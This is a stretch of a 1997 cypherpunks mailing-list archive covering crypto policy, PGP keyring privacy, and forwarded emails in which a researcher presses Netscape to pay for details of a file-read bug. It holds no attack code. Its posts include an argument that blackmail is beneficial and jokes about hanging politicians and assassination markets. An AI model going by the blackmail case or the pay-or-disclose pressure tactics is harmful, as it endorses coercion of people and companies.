At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>
>Has there been any conformation on this?
>
>I would like to get in touch with some of my contacts at IBM but would
>like to have some info on this first.


To the best of my knowledge neither CDT nor any of the individual authors
has been served with any papers or received any other notice of a suit
regarding the key recovery report. (Available at
http://www.crypto.com/key_study)

I suspect that the last thing IBM would want to do is give this experts'
report
more publicity.  At this point, rumors of a lawsuit appear to be unfounded.

And remember: In libel cases, truth is always a defense.  :)

	-- Alan Davidson
	   Staff Counsel, CDT
	   "I work for shallow pockets"


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  
Washington, DC 20006                         PGP key via finger







From tcmay at got.net  Mon Jun 16 15:54:32 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 06:54:32 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: 
Message-ID: 



At 2:38 PM -0700 6/16/97, William H. Geiger III wrote:

>>               ACLU, EPIC Call on Congress and Clinton to
>>                   "Take the First Amendment Pledge"
>
>The sad thing is that we need them to do it a second time. They already
>made this pledge once before, it's called the oath of office.
>
>If the ingore it after the first time why should they honor it a second
>time?

Indeed, it looks to be just press release jive.

If they "take the pledge" on the First, why not the Second? And all the others?

In any case, they can all take this "pledge" with a clear conscience--not
that I expect many to respond to a PR stunt like this--and say "I do."
After all, their arguments for things like the CDA are not based on
overturning the First Amendment: what they will always claim is that the
law is one of the many "exceptions" to the First Amendment. (There are
many...I presume I don't have to make a list here, do I?)

And will EPIC then withdraw its support of Pro-CODE, which says that
certain forms of speech when used in furtherance of a crime, or to hide a
crime, are criminal?  Would EPIC support a law which said that Spanish is
legal to speak or write in the U.S., unless it is used to further or hide a
crime? How about Pig Latin? How about Rot13? How about whispering? How
about RSA?

So, EPIC, why don't _you_ take the First Amendment Pledge and then
immediately withdraw all support for Pro-CODE so long as it contains this
pernicious language criminalizing certain modes of speech?

I didn't think so.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Mon Jun 16 15:58:47 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 06:58:47 +0800
Subject: IBM sues critics?
Message-ID: <199706162228.RAA24621@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/16/97 
   at 05:13 PM, Alan Davidson  said:

>At 11:17 AM -0500 6/16/97, William H. Geiger III wrote:
>>
>>Has there been any conformation on this?
>>
>>I would like to get in touch with some of my contacts at IBM but would
>>like to have some info on this first.


>To the best of my knowledge neither CDT nor any of the individual authors
>has been served with any papers or received any other notice of a suit
>regarding the key recovery report. (Available at
>http://www.crypto.com/key_study)

>I suspect that the last thing IBM would want to do is give this experts'
>report
>more publicity.  At this point, rumors of a lawsuit appear to be
>unfounded.

>And remember: In libel cases, truth is always a defense.  :)

I figured that it was FUD but I have seen IBM do much more stupid things
than this so it seemd worth the effort to follow up.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6W9PY9Co1n+aLhhAQEYVwP+PUDMGuCZI/3JQUYPTuF0gY/lcru7cB+O
m4Bv68B1FRma7TXHOHBTy56uoD2+jDeAf1rhELcnNhyblowBxlWccwXO1slTDpUm
f+UHJ59KeC73Mr4k0qDDwOIzArHLMVwJ8qeyz5ZoZLay7n90U4Ol8uuPAvTObf6y
N6nNzGeMHUI=
=LN2a
-----END PGP SIGNATURE-----






From tcmay at got.net  Mon Jun 16 15:59:44 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 06:59:44 +0800
Subject: Anonymous proxies & ITAR question
Message-ID: 




>The renter of a car or truck is not responsible for the contents. The
>driver of a truck is
          ^^^^^^

This is ambiguous. By this I meant the "person who rents to another," not
the "person who rents from someone."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Mon Jun 16 16:00:12 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 17 Jun 1997 07:00:12 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

>While having more options generally increases people's well being, we
>have to expect a substantial amount of people whose investments will be
>lost in various perturbations that lie ahead.
>
>We may expect to the government to be under strong pressure to feed these
>old folks.
>
>What bothers me most is what would happen if the market went bust again
>as badly as it did in 1929-1934. I believe that it is by far not
>impossible. Then we'd get stuck in a market downturn, with millions of
>retured people with few means to support themselves, and the government
>unable to collect enough money to feed them (which is unconstitutional
>anyway).

What's the difference?  The SSA fund just has IOUs in it now and is being
funded from current revenue.  For those who do well in the market, don't
give them any SSA.  For those who invest poorly, use general revenue to
keep them off the street.  If the market collapses and most lose their
shirts how is this any different than the comming debacle.

- --Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
- ---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
- ---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6W/MjvMjmxVx4sNAQFszgP9HCBDId4AwdAzsjaL3+0IY85mRMmiLpiJ
FP7KHvS+o0EO8NNzjb6Fv0z/8F7eEzqziUwCb6e8SgKssblMxv9zNAC+YLzeut+h
/wm/f5mqC2zF942T9hsAP70IHokld7BhIPQL0YSLv+ywEG47rZh98oF9pwholXxK
MaO+HHTUrm4=
=pP/v
-----END PGP SIGNATURE-----






From toto at sk.sympatico.ca  Mon Jun 16 16:02:59 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 17 Jun 1997 07:02:59 +0800
Subject: [DES] Anguilla surpasses US military in code breaking challe
In-Reply-To: <199706161546.IAA05715@toad.com>
Message-ID: <33A5B74F.7C4B@sk.sympatico.ca>



Peter Trei wrote:
> Vince writes:
> > Press Release
> >     Anguilla surpasses US military in code breaking challenge.

> > The Caribbean country of Anguilla has searched through more than
> > 2,380,000,000,000 code keys as part of the Deschall effort to break a DES
> > encrypted message.

> They have not released their source code for independent
> evaluation. I for one would feel a lot more comfortable with
> DESChall if there was at least some outside review, even if
> no general release is made.

Peter,
  I emailed the DESChall folks about the same time I was accusing
them and you and the Swedish (?) guy of conspiring to save the
good keys to yourself and demanded their source code, which they
sent to me.
  I read code with the same expertise that Richard Nixon does
standup comedy, but I have a girlfriend who dreams in algorithms
and she was mightily impressed with the code itself. Unfortunately,
they had a problem with hackers fucking with their code and doing
interceptions on the data being transmitted back to their site.

  Since the DESChall folks were so kind as to share their source
code (they have modified it, since then) with a self-professed
lunatic, I have no doubt that they would not object to a real
player in the crypto game (such as yourself) taking a gander at
their source code. They may even need some kindhearted soul to
help them transport it to a specific platform.
  If you contact them and they tell you to fuck off, then give
me a holler and I'll see if Bianca still has the source from
their previous version of the DESChall software. (I think that
the changes in procedure they made applied only to the handling
of the server/client communications so that Dimitri couldn't add
ASCII art to the keycheck results.)

Toto
http://www3.sk.sympatico.ca/carljohn/







From whgiii at amaranth.com  Mon Jun 16 16:08:39 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 07:08:39 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: 
Message-ID: <199706162249.RAA24929@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/16/97 
   at 03:41 PM, Tim May  said:

>>The renter of a car or truck is not responsible for the contents. The
>>driver of a truck is
>          ^^^^^^

>This is ambiguous. By this I meant the "person who rents to another," not
>the "person who rents from someone."

It "should" work either way. :)

If I went and rented a truck and there was a "roach" in the ashtray I
should not be held accountable for possesion unless it could be proved
that it was mine and not from someone else that had used the truck or even
a worker at the retal shop.

Ofcource if I had the trailer loaded with 100K of coke it would be a
little hard to say that someone else left it there. :)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6XDpY9Co1n+aLhhAQH7LwP/bSRJj9IE21VHnAbrznINMUtBZ9COJ4Y+
nLfAXB45f9hRVPBwT0xBwO7DUrm4uAwNr7TC9tOD2yY07Akz2YnVuk8joHuwMdAD
LadEqc1fC/1jk1C6XLw0qzIpjkiIOG0R95Y8+6t8qmb2HbxKqeVOakwXbyQ1Ms1S
bmR0p+mexgA=
=ZQB2
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Mon Jun 16 16:37:22 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:37:22 +0800
Subject: If only...
Message-ID: <199706162302.TAA08923@dhp.com>



Bill Stewart wrote: 
> At 07:10 PM 6/13/97 -0700, Tim May wrote:
> >>You mean they can license handguns, but not reporters???
> 
> >Indeed, it is strange. What part of "Congress shall make no law"
> >do they not understand?
> 
> the part between "Congress shall make no law" and "shall not be infringed"...

  If only they had written "Congress shall make no law." and left
it at that...

TM






From lucifer at dhp.com  Mon Jun 16 16:39:48 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 17 Jun 1997 07:39:48 +0800
Subject: Declan as a Budding Washington Insider
Message-ID: <199706162303.TAA09004@dhp.com>



Paul Bradley wrote:
> 
> I must side with Declan here, true, sometimes Declans articles show a
> subtle hint of insiderism , but I believe that is an inevitable
> consequence of working around people in D.C. who don`t want to be
> directly associated with certain statements, to quote them against their
> will would be journalistic suicide and would soon see Declan with no
> contacts whatsoever.

  The editor of the main newspeak print media for the area I live
in told me that their reporters are instructed to write their 
articles so as to be readable to someone with an eighth grade
education.
  I certainly do not envy Declan for being in the position of
having to make his articles readable for the people who are still
trying to find the "Any" key while trying not to leave the 
cypherpunks with the impression he's a fucking retard.

  *** Next Week ***
  Declan reveals who is buried in "Grant's Tomb."

TruthMonger







From ravage at EINSTEIN.ssz.com  Mon Jun 16 16:42:11 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 17 Jun 1997 07:42:11 +0800
Subject: Anonymous proxies & ITAR question (fwd)
Message-ID: <199706162250.RAA01843@einstein.ssz.com>



Hi,

Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 16 Jun 97 17:48:52 -0500
> Subject: Re: Anonymous proxies & ITAR question

> >>The renter of a car or truck is not responsible for the contents. The
> >>driver of a truck is
> >          ^^^^^^

The renter is not responsible until they take contractual possession of the
truck. From that point until placed on the companies property and the key is
placed in the lock-box hanging on the fence (or whatever system they use
where you live) it is the responsibility of the renter/driver/physical
possessor of the truck for its behaviour or contents.

> If I went and rented a truck and there was a "roach" in the ashtray I
> should not be held accountable for possesion unless it could be proved
> that it was mine and not from someone else that had used the truck or even
> a worker at the retal shop.
> 
> Ofcource if I had the trailer loaded with 100K of coke it would be a
> little hard to say that someone else left it there. :)

Why should coke be treated any different than pot? How much pot should I be
able to put in such a truck and 'get away' with as a function of SOP? How
much coke?

No, ambiguity like this has no place in law. The litmus test should be
whether a person or their property were damaged without their prior
permission. Crimes should be a function of physical interaction and not some
qualitative or even quantitative test. If it is a crime to do 100 of them
then it should be a crime to do 1/10 (assuming it should be a crime in the
first place).

I can see it now,

"Sorry sir, we had to let him go. He only 1/4 raped her."

Blah.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at amaranth.com  Mon Jun 16 16:44:42 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 07:44:42 +0800
Subject: Anonymous proxies & ITAR question (fwd)
In-Reply-To: <199706162250.RAA01843@einstein.ssz.com>
Message-ID: <199706162330.SAA25461@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706162250.RAA01843 at einstein.ssz.com>, on 06/16/97 
   at 05:50 PM, Jim Choate  said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 16 Jun 97 17:48:52 -0500
>> Subject: Re: Anonymous proxies & ITAR question

>> >>The renter of a car or truck is not responsible for the contents. The
>> >>driver of a truck is
>> >          ^^^^^^

>The renter is not responsible until they take contractual possession of
>the truck. From that point until placed on the companies property and the
>key is placed in the lock-box hanging on the fence (or whatever system
>they use where you live) it is the responsibility of the
>renter/driver/physical possessor of the truck for its behaviour or
>contents.

>> If I went and rented a truck and there was a "roach" in the ashtray I
>> should not be held accountable for possesion unless it could be proved
>> that it was mine and not from someone else that had used the truck or even
>> a worker at the retal shop.
>> 
>> Ofcource if I had the trailer loaded with 100K of coke it would be a
>> little hard to say that someone else left it there. :)

>Why should coke be treated any different than pot? How much pot should I
>be able to put in such a truck and 'get away' with as a function of SOP?
>How much coke?

>No, ambiguity like this has no place in law. The litmus test should be
>whether a person or their property were damaged without their prior
>permission. Crimes should be a function of physical interaction and not
>some qualitative or even quantitative test. If it is a crime to do 100 of
>them then it should be a crime to do 1/10 (assuming it should be a crime
>in the first place).

This point I was trying to make was that the renter of property should not
be held resposable for "illegal" items that may be on that property
without his knowledge.

Since every truck I have ever rented included a physical inspection of the
truck (basically to note all the dents and dings that were already there)
it would be hard to say that you had no knowldge of the trailer being
filled with coke (well it would be easy to say but no one would beleive
you). Such inspections do not include checking ashtrays, cracks between
the seats, taking off the door pannels, ...ect and the renter should not
be held responcible unless it could be *proved* that he was the one that
put the items there and not someone else.

>I can see it now,

>"Sorry sir, we had to let him go. He only 1/4 raped her."

Now you are being silly and not to the point of the disscusion. This was
not about wether possession of a "roach" should be more or less legal than
100K of coke. The point was wether the renter should be held accountable
for possesion of "illegal" substances that he had no prior knowledge of.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6XNTI9Co1n+aLhhAQFY8wP/WXKyKIh9esbM+y+siAHQ5NhUokDpAN42
0wCKwtnmZsyz78nLJknJ+aGLs2VPZnLrwolAZA0M3RNE8Wr1nrJZ+oA17y/Xa898
GM/b6y2P14FWkoJ0ePzCCLomgjTHaT+GeXbaFtmDRXeh4JSDzgokFw1+5uonb5Dg
Qlxgqshzz4Q=
=rWiu
-----END PGP SIGNATURE-----






From stewarts at ix.netcom.com  Mon Jun 16 16:48:47 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 07:48:47 +0800
Subject: Capitalist Assassination Politics
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: <3.0.2.32.19970616154947.00762f8c@popd.ix.netcom.com>



Bell's AP isn't a Democratic Assassins Program - it's a free-market system.
In a free market, when enough people want something enough to pay for it, 
like buying dope or killing someone, someone may decide it's worth their while
and just do it.  The catch is that he confuses mechanism with policy;
the market doesn't really care _why_ someone has a price on their head.

In a Democratic Assassins Program, everybody gets together and
haggles about who ought to be killed and why, and if a majority
wants someone killed, they go do it, or hire someone to do it for them,
and tell the minority what a wonderful thing Democracy is.

The US theoretically has a Republican Form Of Assassination -
everybody votes on some representatives, and the representatives
do whatever they can get away with, given future elections as a moderating
threat,
such as assassinating hundreds of thousands of Iraqis instead of the
one Iraqi they told us we should all Hate for Two Minutes,
or sending poisoned cigars to annoying bearded guys.

In practice, we have a Capitalist Mixed-Economy Assassination Process -
the Representatives decide to assassinate some people because it
seems to be popular in the polls, and other people because the 
Big Business interests want them assassinated, or because the 
Pentagon wants to advertise their availability for future jobs, and
some free-market "work" gets done, since you don't _have_ to 
annoy the national-scale interests to get assassinated,
some things get done by Good Old Fashioned Volunteerism*,
government-hired assassins decide ignore some collateral damage
or work overtime in the war on Republicanly-Selected Substances
and some people are society offenders who might best be underground
or just tempt Darwin too many times.


[* President's Commission on Volunteerism
http://www.whitehouse.gov/volunteer.htm  ]


----
Attachment Converted: http://www.cia.odci.gov/assassination/nominations.doc
----



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From alano at teleport.com  Mon Jun 16 17:14:29 1997
From: alano at teleport.com (Alan)
Date: Tue, 17 Jun 1997 08:14:29 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: 



On Mon, 16 Jun 1997, William H. Geiger III wrote:

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".
> 
> It could even be hyped as a "jobs" program for DC, just think of all the
> gallows that would need to be built. 

It would certainly bring new meaning to the term "well hung politician".
(And one I could live with...)

alano at teleport.com | "Those who are without history are doomed to retype it."






From dformosa at st.nepean.uws.edu.au  Mon Jun 16 17:55:15 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 17 Jun 1997 08:55:15 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162213.RAA24347@mailhub.amaranth.com>
Message-ID: 



On Mon, 16 Jun 1997, William H. Geiger III wrote:

[...]

> IMHO I think that we need a trial, similar to the Nuremberg Trials after
> WWII, for the politicians in DC for "High Crimes Against the Constitution
> of the United States".

I don't think it would be a trial,  more likly to be a House committee
doing this.  Infact we need to give this thing a name,  well Crimes
against the constitution is realy an un-american activity.  I know we
could call it the "House committee on UnAmerican Activities".

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From tcmay at got.net  Mon Jun 16 18:29:14 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 09:29:14 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: 



Before I even log in and see if anyone else caught this, I wrote:


>And will EPIC then withdraw its support of Pro-CODE, which says that
>certain forms

^^^^^^^^^^

I meant SAFE, of course. Pro-CODE contains no criminalization of crypto
speech provisions, at least not that I've seen.

It's SAFE that's so pernicious.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at secret.squirrel.owl.de  Mon Jun 16 18:42:24 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 17 Jun 1997 09:42:24 +0800
Subject: Homer on Terrorism
Message-ID: <19970617011917.5241.qmail@squirrel.owl.de>



Of course it was blackmail.  The reason people are confused about this is
they assume that blackmail is bad.

Blackmail is good.  The alternative is releasing the damaging information.
Blackmail gives the person who has something to hide a chance to keep the
information quiet.  He has more options than he would have in a system
where blackmail was impossible.

Laws against blackmail are even more senseless than laws against libel.
In the case of blackmail, the supposed victim is asking not to be allowed
to take actions which are in his own self interest, a classic case of protecting
someone from himself.

Fortunately, cryptography will liberate blackmail just as it will other forms
of communications.

BlackMonger






From stewarts at ix.netcom.com  Mon Jun 16 19:01:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 10:01:48 +0800
Subject: Impact of Netscape kernel hole (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970616183010.0074a894@popd.ix.netcom.com>



>Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
>c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
>keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
>to go through most of the common places.
>
>The very same guy probably has a password that is:
	> [Dictionary attack on wimpy passphrases ]

With PGP 2.0 ... 4.0 secret keyring files, there's another attack.
(I don't know if PGP 5.0 files have this problem or not.)
You can't get the secret key itself from the password file without cracking 
the IDEA password (or algorithm), but the user-name is in cleartext.
	Joe Sixpack             0x98458509834295834098589...
	Joe Sixpack     0x34543905843f90853490545...
	Jane Doe #2  0x2d0e2d0e231415926535487...
	Lone Ranger  0x23dead5beef890832455345...
	TruthMunger     0x27182818284590459024090...
	Arms Buyer    0x08908024308732049872390...
If you've got pseudonyms as well as your real name, they show;
you've got all the usual risks of traffic analysis, outing, etc.	
and your secret identity is toast.  For most people, it's not a big risk,
but if you really _do_ need to keep your pseudonym untraceable,
this lets it leak out of your encrypted hard disk, which would be Bad.


					Publius






From rah at shipwright.com  Mon Jun 16 19:55:50 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 17 Jun 1997 10:55:50 +0800
Subject: More about Netscape Bug finder
Message-ID: 




--- begin forwarded text


Date: Mon, 16 Jun 1997 18:24:32 -0500
From: Bill GL Stafford 
Organization: Spring Management Company
MIME-Version: 1.0
To: "dcsb at ai.mit.edu" 
Subject: More about Netscape Bug finder
X-Priority: 3 (Normal)
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Bill GL Stafford 

  Christian Orellana, gambled $1000 and lost.  Not the worst thing he could
have done.  Now the world knows how Netscape approaches a potential
crisis.  They did not panic although they may have come close to it.  I've
seen that much lost in a cloak room with a pot not near as big as Christian
sought. Anyway you look at it it's just a roll of the dice.Bill GL Stafford
springco at arn.net
 Wired Magazine on web
An Email Trail from Bug Spotter to
           Netscape
           6:01pm  13.Jun.97.PDT The following is a copy of the
           email exchange between Netscape officials and
           Christian Orellana, the Danish consultant who
           found the Netscape Navigator bug. A copy of the
           text was provided to Wired News by Netscape and
           appears unedited. Wired News has chosen not to
           publish Orellana's email address.
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy at netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration.
           The bug allows access to any file on the clients file
           system, and does not affect Microsoft Internet
           Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge). Please get back to us a.s.a.p. (before
           Netscape DevCon) if this knowledge is of any interest
           to you. You can reach me at the phone number
           below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans [sic]
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy at netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Mon, 09 Jun 1997 11:51:04 -0700
           From: edithg at netscape.com (Edith Gong)
           Organization: Netscape Communications
           To: Shannon Tracy , lalam at netscape.com
           References:
           <339C3C32.FE3F5683 at netscape.com>
           Shannon,
           I don't know what else to do. Can someone in DSE
           contact this person to get the details by phone. We
           can't investigate until we understand what the issue is.
           I'll see if someone in tech support can contact the
           customer
           Edith
           ---
           Subject: Re: Please confirm
           Date: Mon, 09 Jun 1997 12:00:03 -0700
           From: Shannon Tracy
           Organization: Netscape Communications
           To: Christian Orellana
           References:
           Dear Christian Orellana:
           Yes, I received your message. The project manager
           just responded that they are trying to find someone to
           contact you, however, we can't investigate until we
           understand what the issue is. Can you please furnish
           a few additional details so that we know who best
           might be able to handle this situation?
           Thanks,
           Shannon Tracy
           ---
           Subject: Re: Please confirm
           Date: Mon, 9 Jun 1997 21:11:44 +0200
           From: Christian Orellana
           To: stracy at netscape.com (Shannon Tracy)
           References:
           Dear Shannon.
           In short the first version of the bug I had up and
           running allowed me to get any file whose path I knew
           on the clients hard disk. I just got another version up
           and running, and considering that the location of
           quite a few files on a typical windows/mac/unix
           installation is pretty well known, it should be no
           surprise that this new version can actually scan the
           clients harddisk for specific files, and download them.
           I can not reveal much more detail, without giving
           away the bug, which I will not do, since I think this
           information is so valuable to Netscape that it should
           be worth a good deal of money. The information is
           certainly worth a bit on the free market, and I am
           currently awaiting responses from other parties.
           In other words I think the person most suited for
           handling this, is someone in charge of the company
           check book (-;
           Regards - Christian
           ---
           Subject: final note on Navigator bug
           Date: Mon, 9 Jun 1997 23:07:59 +0200
           From: Christian Orellana
           To: stracy at netscape.com (Shannon Tracy)
           Netscape:
           I think my approach to you on this subject has been
           fair and serious. I am offering you a piece of
           information that I consider of very high value. The
           implications of the bug mentioned in previous emails
           are immense.
           Considering the widespread use of home-banking
           software, not to mention the impact on multiuser
           systems in the government and corporate sector, like
           unix and NT environments, where access to the
           encrypted password-files would render the systems
           extremely vulnerable, I think all pre Communicator
           versions of Navigator (supposing you fix the bug in
           Communicator) would be pretty useless. I will leave it
           to you to estimate what impact that would have on
           Netscape stocks.
           I have to inform you that David Gross at CNN is on
           hold with the news, and is only waiting for me to give
           him the final demonstration, to verify the bug.
           I must also inform you that CNN is not the only
           interested party, and that I will consider my options
           once I get Netscape's standpoint on the matter.
           I would be more than happy to give a demonstration
           of the bug, under controlled circumstances, but we
           would have to sign some sort of agreement first.
           Regards, Christian Orellana.
           ---
           Subject: Re: [Fwd: Major security bug in
           Netscape Navigator 3 and 4]
           Date: Thu, 12 Jun 1997 16:40:33 -0700
           From:chrish at netscape.com (Chris Holten)
           Organization: Netscape Communications
           To:chrish at netscape.com
           References: 1
           Subject: Major security bug in Netscape
           Navigator 3 and 4
           Date: Mon, 9 Jun 1997 19:19:13 +0200
           From: Christian Orellana
           To: stracy at netscape.com
           Hello!
           We have discovered a major security bug in
           Netscape Navigator 3.0, which remains uncorrected
           in the new Communicator release. The bug affects
           Navigator running on all platforms in the standard
           configuration. The bug allows access to any file on
           the clients file system, and does not affect Microsoft
           Internet Explorer.
           This bug is potentially very interesting to Netscape
           considering that the new release of Navigator is due
           in just three days.
           The bug has not previously been reported, and
           remains unknown to anyone but us (to the best of our
           knowledge).
           Please get back to us a.s.a.p. (before Netscape
           DevCon) if this knowledge is of any interest to you.
           You can reach me at the phone number below.
           I have tried to reach Netscape for a while now, and if
           Netscape remains uninterested in the issue I may
           contact some other interested parties.
           Yours sincerely,
           Christian Orellans
           ---
           Subject: Please confirm
           Date: Mon, 9 Jun 1997 20:14:08 +0200
           From: Christian Orellana
           To: stracy at netscape.com
           Hello!
           Could you please confirm that you have received my
           previous letter.
           Also I would like to restate my claim that this is of the
           utmost importance for the upcoming launch of
           Communicator. The bug allows complete read access
           to the clients hard disk.
           Christian Orellana.
  For help on using this list (especially unsubscribing), send a message to
"dcsb-request at ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From pdh at best.com  Mon Jun 16 20:04:32 1997
From: pdh at best.com (Peter Hendrickson)
